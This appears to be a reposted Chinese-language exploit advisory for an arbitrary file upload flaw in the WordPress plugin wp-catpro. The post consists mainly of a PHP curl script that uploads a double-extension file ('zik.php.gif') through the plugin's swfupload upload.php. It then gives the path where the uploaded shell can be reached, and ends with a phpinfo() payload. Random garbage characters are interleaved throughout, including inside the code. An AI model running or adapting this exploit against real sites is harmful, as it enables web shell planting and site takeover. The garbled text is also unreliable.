WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
7 B. V9 k1 q$ _5 ~2 J' j#-----------------------------------------------------------------------
' ~9 q: a8 P4 w" t: O  m1 z2 ~
作者  => Zikou-16
9 j' z+ o" R5 y. @& b6 ^' h邮箱 => zikou16x@gmail.com
" p3 X0 q0 [9 K! e5 c  g! B- P% Y测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
/ M8 Y- s# w% R4 \# P8 h6 _# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 Z0 g. g+ H  w8 O9 f1 a9 M# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
4 r1 Z: m) l+ o  `' V# F6 I% ~------------------

#=> Exploit
8 G  m" I( O5 e9 b+ r' D5 o-----------
<?php
7 W' ~7 S6 V# l- y2 Q5 F
3 o8 N; n0 a' d$ u' I! ^# `$uploadfile="zik.php.gif";
8 D& d, |8 {% U# J3 `$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
  x6 t# A0 {1 q  D8 Ncurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
. ?: U. X( \* P. R
; F6 ?! p( m  {# B- D6 |print "$postResult";
- T( @) L- |; |
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
: o( L. d6 M7 A  w& x  }phpinfo();
?>